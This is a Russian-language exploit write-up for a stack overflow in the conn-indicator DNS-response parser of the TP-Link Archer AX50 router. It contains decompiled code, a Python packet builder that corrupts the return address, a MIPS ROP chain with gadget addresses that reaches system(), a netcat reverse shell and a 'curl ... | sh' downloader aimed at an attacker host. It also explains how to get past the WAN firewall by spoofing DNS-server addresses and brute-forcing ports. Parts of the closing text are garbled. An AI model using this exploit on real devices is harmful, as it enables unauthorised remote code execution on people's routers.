
Эксплойт для стекового переполнения буфера, обнаруженного в бинарном файле conn-indicator в роутере TP-Link Archer AX50
Маршрутизатор TP-Link Archer AX50 уязвим к переполнению стека в прошивке версии 1.0.14 Build 20240108 rel.42655(4555), что приводит к удаленному выполнению кода как в локальной сети (LAN), так и в глобальной сети (WAN). Эта уязвимость имеет ту же первопричину, что и CVE-2020-10881, обнаруженная командой Flashback и подробно описанная в их серии видео (см. ссылки). Однако процесс эксплуатации несколько отличается, поэтому потребовалось написать новый эксплойт.

Уязвимость возникает в бинарном файле conn-indicator, который отвечает за проверку подключения маршрутизатора к интернету путем периодической отправки DNS-запросов и прослушивания ответов на случайном UDP-порту от 32000 до 61000.
Функция, которая принимает и обрабатывает эти DNS-ответы, называется TPDns_RecvAndResolve(), расположена по адресу 0x00405e3c. При получении пакета через recvfrom он сохраняется в buf, размер которого составляет 2960 байт. Затем проверяется, что код возврата корректен (RCODE == 0), а также проверяется количество вопросов и ответов в пакете (QDCOUNT и ANCOUNT). Для обработки ответов вызывается process_resolved_IP(), которой передаются указатель на buf, answer_ptr (указатель на местонахождение ответов внутри пакета в buf), количество ответов (ANCOUNT) и другие флаги:
undefined4 * TPDns_RecvAndResolve(int socket,void *param_2,int param_3){
[...]
byte buf [2960];
[...]
while( true ) {
recv_bytes = recvfrom(socket,buf + total_recv_bytes,0xb90 - total_recv_bytes,0,&sStack_50,
local_38);
piVar2 = __errno_location();
if (recv_bytes == 0) goto RECV_ERROR;
if (recv_bytes < 0) break;
total_recv_bytes = total_recv_bytes + recv_bytes;
if (2959 < total_recv_bytes) goto PROCESS_DNS_RESP;
}
[...]
/* Check that ANCOUNT is not 0 (answer contains at least one domain) */
puVar5 = (undefined4 *)0x0;
if (buf._6_2_ != 0) {
local_40 = 0;
puVar5 = process_resolved_IP(buf,answer_ptr,(uint)buf._6_2_,&local_3c,&local_40);
answer_ptr = answer_ptr + local_40;
}
[...]
Функция process_resolved_IP(), расположенная по адресу 0x00405818, перебирает каждый ответ и вызывает DNS_answer_parser() для каждого из них. В качестве аргументов передаются тот же указатель на buf, answer (указатель на текущий обрабатываемый ответ внутри исходного пакета в buf) и указатель на current_answer (буфер размером 256):
undefined4 * process_resolved_IP(byte *buf,byte *answer_ptr,uint ANCOUNT,undefined4 *param_4,int *param_5){
[...]
byte current_answer [256];
ushort answer_flags [5];
i = 0;
puVar9 = (undefined4 *)0x0;
puVar7 = (undefined4 *)0x0;
answer = answer_ptr;
do {
/* Check if all answers have been parsed already */
if (i == ANCOUNT) {
if (param_4 != (undefined4 *)0x0) {
*param_4 = puVar7;
}
if (param_5 != (int *)0x0) {
*param_5 = (int)answer - (int)answer_ptr;
}
return puVar9;
}
bytes_processed = DNS_answer_parser(buf,answer,current_answer,1);
memcpy(answer_flags,answer + bytes_processed,10);
uVar1 = answer_flags._4_4_;
bytes_processed = bytes_processed + 10;
uVar6 = (uint)answer_flags[4];
uVar8 = (uint)answer_flags[0];
if (uVar8 == 2) {
LAB_00405924:
DNS_answer_parser(buf,answer + bytes_processed,abStack_240,1);
}
else if (uVar8 < 3) {
pbVar2 = answer + bytes_processed;
if (uVar8 == 1) {
sprintf((char *)abStack_240,"%u.%u.%u.%u",(uint)*pbVar2,(uint)pbVar2[1],(uint)pbVar2[2],
(uint)pbVar2[3]);
}
}
else {
if (uVar8 == 5) goto LAB_00405924;
if (uVar8 == 0x1c) {
inet_ntop(10,answer,(char *)abStack_240,0xff);
}
}
answer = answer + bytes_processed + uVar6;
[...]
i = i + 1;
} while( true );
}
Функция DNS_answer_parser(), расположенная по адресу 0x004054e0, анализирует каждый ответ отдельно. Ответ состоит из доменного имени, представленного в формате <длина><домен><длина><домен>.... Например, example.com будет представлен как 7example3com. Функция проходит по каждой паре <длина><домен>, составляющей доменное имя в ответе, и проверяет, что <длина меньше 63 (domain_name & 0xc0 != 0). Затем она вызывает memcpy и копирует <длина> байт из answer, соответствующих <домен>, в current_answer. Процесс повторяется для следующей пары <длина><домен> в доменном имени.
int DNS_answer_parser(byte *buf,byte *answer,byte *current_answer,int flag){
int iVar1;
uint __n;
int iVar2;
uint uVar3;
ushort flag_and_offset;
byte domain_name;
iVar2 = 0;
do {
domain_name = *answer;
__n = (uint)domain_name;
iVar1 = 1;
if (__n == 0) {
*current_answer = 0;
LAB_004055b0:
return iVar2 + iVar1;
}
/* Check if compression mode is used */
if ((domain_name & 0xc0) != 0) {
flag_and_offset = CONCAT11(domain_name,answer[1]);
DNS_answer_parser(buf,buf + (flag_and_offset & 0x3fff),current_answer,flag);
iVar1 = 2;
goto LAB_004055b0;
}
uVar3 = __n + 1;
if (flag == 0) {
*current_answer = '.';
memcpy(current_answer + 1,answer + 1,__n);
__n = uVar3;
}
else {
memcpy(current_answer,answer + 1,__n);
}
answer = answer + uVar3;
current_answer = current_answer + __n;
iVar2 = iVar2 + uVar3;
flag = 0;
} while( true );
}
Поскольку current_answer имеет размер всего 256 байт, злоумышленник может отправить пакет с ответом, содержащим доменное имя достаточной длины, чтобы переполнить буфер.
Процесс эксплуатации очень похож на тот, что описан командой Flashback для CVE-2020-10881 в их серии видео (см. ссылки), с некоторыми ключевыми отличиями:
move: теперь регистр, перемещаемый в $a2 в качестве аргумента count для memcpy(), — это $s1, а не $s0.i в process_resolved_IP() загружается в $s5, а не в $s8. Затем при сравнении с $v1 значение $v1 берется из $sp+616, что находится очень далеко от переполненного буфера, поэтому пришлось дополнительно повредить стек дальше за счет ответа и команды.Учитывая это, я всё равно объясню весь процесс.
Бинарник conn-indicator имеет включенный NX и ASLR на всем, кроме себя самого:
root@Archer_AX50:/proc/6541# cat maps
00400000-0040f000 r-xp 00000000 1f:0a 1430 /usr/sbin/conn-indicator
0041e000-0041f000 rw-p 0000e000 1f:0a 1430 /usr/sbin/conn-indicator
0041f000-00433000 rw-p 00000000 00:00 0 [heap]
778c2000-778d8000 r-xp 00000000 1f:0a 4681 /lib/libm-0.9.33.2.so
778d8000-778e7000 ---p 00000000 00:00 0
778e7000-778e8000 rw-p 00015000 1f:0a 4681 /lib/libm-0.9.33.2.so
778e8000-778fa000 r-xp 00000000 1f:0a 2506 /usr/lib/libz.so.1.2.7
778fa000-7790a000 ---p 00000000 00:00 0
7790a000-7790b000 rw-p 00012000 1f:0a 2506 /usr/lib/libz.so.1.2.7
7790b000-77a2b000 r-xp 00000000 1f:0a 2509 /usr/lib/libxml2.so.2.7.8
77a2b000-77a3a000 ---p 00000000 00:00 0
77a3a000-77a40000 rw-p 0011f000 1f:0a 2509 /usr/lib/libxml2.so.2.7.8
77a40000-77a46000 r-xp 00000000 1f:0a 2496 /usr/lib/libjson.so.0.0.1
77a46000-77a55000 ---p 00000000 00:00 0
77a55000-77a56000 rw-p 00005000 1f:0a 2496 /usr/lib/libjson.so.0.0.1
77a56000-77aac000 r-xp 00000000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77aac000-77abb000 ---p 00000000 00:00 0
77abb000-77abc000 r--p 00055000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77abc000-77abd000 rw-p 00056000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77abd000-77ac2000 rw-p 00000000 00:00 0
77ac2000-77ad6000 r-xp 00000000 1f:0a 4872 /lib/libgcc_s.so.1
77ad6000-77ae5000 ---p 00000000 00:00 0
77ae5000-77ae6000 rw-p 00013000 1f:0a 4872 /lib/libgcc_s.so.1
77ae6000-77aef000 r-xp 00000000 1f:0a 4893 /lib/libuci.so
77aef000-77afe000 ---p 00000000 00:00 0
77afe000-77aff000 rw-p 00008000 1f:0a 4893 /lib/libuci.so
77aff000-77b01000 r-xp 00000000 1f:0a 4711 /lib/libblobmsg_json.so
77b01000-77b10000 ---p 00000000 00:00 0
77b10000-77b11000 rw-p 00001000 1f:0a 4711 /lib/libblobmsg_json.so
77b11000-77b15000 r-xp 00000000 1f:0a 4709 /lib/libubus.so
77b15000-77b24000 ---p 00000000 00:00 0
77b24000-77b25000 rw-p 00003000 1f:0a 4709 /lib/libubus.so
77b25000-77b2e000 r-xp 00000000 1f:0a 4714 /lib/libubox.so
77b2e000-77b3d000 ---p 00000000 00:00 0
77b3d000-77b3e000 rw-p 00008000 1f:0a 4714 /lib/libubox.so
77b3e000-77b41000 r-xp 00000000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b41000-77b50000 ---p 00000000 00:00 0
77b50000-77b51000 r--p 00002000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b51000-77b52000 rw-p 00003000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b52000-77b59000 r-xp 00000000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
77b65000-77b68000 rw-p 00000000 00:00 0
77b68000-77b69000 r--p 00006000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
77b69000-77b6a000 rw-p 00007000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
7fa04000-7fa25000 rw-p 00000000 00:00 0 [stack]
7ffff000-80000000 r-xp 00000000 00:00 0 [vdso]
root@Archer_AX50:/proc/6541# exploit
Таким образом, стратегия эксплуатации этой уязвимости заключается в построении ROP-цепочки, в которой мы сможем выполнить system() с нужной командой.
Чтобы иметь возможность переполнить буфер и повредить регистр $ra, злоумышленнику необходимо отправить DNS-ответ с ответом, содержащим доменное имя достаточной длины. Что касается DNS-заголовка, единственное требование — RCODE равно 0, а ANCOUNT равно 1, поскольку пакет должен содержать только один ответ. В качестве примера следующий пакет повреждает регистр $ra значением 0x50505050:
# len of each domain name must be less than 63
DOMAIN_LEN = 0x3f
TXID = [0, 0]
FLAGS = [0, 0]
QDCOUNT = [0, 0]
ANCOUNT = [0, 1]
NSCOUNT = [0, 0]
ARCOUNT = [0, 0]
# DNS response header
packet = []
packet += TXID
packet += FLAGS
packet += QDCOUNT
packet += ANCOUNT
packet += NSCOUNT
packet += ARCOUNT
# 4 domain names with length DOMAIN_LEN to fill up the buffer
for i in range (0,4):
packet += [DOMAIN_LEN]
for j in range(0, DOMAIN_LEN):
packet += [0x41]
# Domain name to fill up remaining variables
packet += [0x17]
packet += [0x41] * 23
# Domain name to corrupt the stack
packet += [0x28]
packet += struct.pack(">I", 0x30303030) # s0
packet += struct.pack(">I", 0x31313131) # s1
packet += struct.pack(">I", 0x32323232) # s2
packet += struct.pack(">I", 0x33333333) # s3
packet += struct.pack(">I", 0x34343434) # s4
packet += struct.pack(">I", 0x35353535) # s5
packet += struct.pack(">I", 0x36363636) # s6
packet += struct.pack(">I", 0x37373737) # s7
packet += struct.pack(">I", 0x38383838) # s8
packet += struct.pack(">I", 0x50505050) # ra
packet += [0]
Поскольку адрес бинарника всегда одинаков при каждом запуске и у него есть область для записи, план состоит в том, чтобы скопировать туда команду для выполнения, а затем вызвать system() с ней. Для этого используется следующая ROP-цепочка:
memcpy(). Адрес следующего гаджета загружается в $ra. Затем $s2 перемещается в $v0. Он содержит адрес области записи бинарника, в которую будет скопирована команда — это будет аргумент dest для memcpy(). Затем аргумент count для memcpy загружается в $s1 из управляемого нами адреса стека. Наконец, происходит переход к следующему гаджету:00402700 lw ra, 0x2c(sp)
00402704 move v0, s2
00402708 lw s2, 0x28(sp)
0040270c lw s1, 0x24(sp)
00402710 lw s0, 0x20(sp)
00402714 jr ra
00402718 addiu sp, sp, 0x30
memcpy() и затем вызывает её. Аргумент dest для memcpy(), соответствующий области записи бинарника, который находился в $v0, загружается в $a0 как первый параметр memcpy(). На этом этапе выполнения $a1 указывает на конец ответа в пакете DNS-ответа, где мы разместили строку команды, поэтому нет необходимости готовить параметр src. Затем $s1, содержащий параметр count, загруженный в предыдущем гаджете, перемещается в $a2 как третий параметр для memcpy(). Наконец, вызывается memcpy(), и строка команды копируется в область записи бинарника. Этот гаджет находится в конце process_resolved_IP(), поэтому выполнение теперь продолжается внутри этой функции. Стек необходимо организовать так, чтобы функция могла успешно вернуться. Для этого в полезную нагрузку аккуратно помещаются некоторые переменные из этой функции, которые загружаются из стека и из некоторых регистров, такие как , , и . При возврате адрес снова берется из стека, в который мы помещаем адрес следующего гаджета для перехода.00405a98 move a0, v0
00405a9c jal <EXTERNAL>:memcpy
00405aa0 _move a2, s1
[...]
system() и вызывает её. На этом этапе выполнения $v0 содержит значение $s3, в который мы поместили адрес области записи в бинарнике, теперь содержащей команду. Таким образом, $v0 перемещается в $a0. Затем адрес system(), импортированный в бинарник, помещается из стека в $ra и вызывается system(), что приводит к выполнению кода.004065e8 move a0, v0
004065ec clear v0
004065f0 lw ra, 0x1c(sp)
004065f4 jr ra
Теперь reverse shell, который нужно выполнить на цели (работающей под busybox), выглядит следующим образом:
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker> <port> >/tmp/f
Однако команда для выполнения должна быть короче 62 символов, а поскольку файловая система доступна для записи только в /tmp, выполнить reverse shell напрямую невозможно. Вместо этого был выполнен загрузчик: curl http://<attacker>:<port>/ | sh, который загружает reverse shell с атакующего.
Теперь осталось только перебрать порт, на котором прослушивает conn-indicator, что легко автоматизируется.
До этого момента эксплойт работал бы только на стороне LAN, поскольку сторона WAN защищена брандмауэром. Однако есть способ обойти это ограничение. Чтобы conn-indicator мог получать DNS-ответы, брандмауэр разрешает пакеты, приходящие с того же IP-адреса, на который отправляются DNS-запросы бинарника, то есть пакеты, исходящие от DNS-сервера, который использует целевой маршрутизатор. Таким образом, чтобы обойти брандмауэр, достаточно отправить поддельные пакеты от имени DNS-сервера. Если цель находится в локальной сети, это, вероятно, будет что-то вроде 192.168.0.1, 192.168.1.1 или 10.0.0.1; если цель напрямую подключена к Интернету, это, вероятно, будет что-то вроде 8.8.8.8, 1.1.1.1 или другие распространенные DNS-серверы.
Полностью функциональный эксплойт работает как для LAN, так и для WAN. Режим LAN перебирает все порты от 32000 до 61000, а режим WAN перебирает те же порты и все возможные DNS-IP, которые хранятся в SPOOF_LIST. Этот список следует редактировать, исходя из знаний атакующего о цели, однако при достаточном времени (минуты) он должен покрывать 90% случаев.
/tmpANCOUNTparam_4param_5i$ra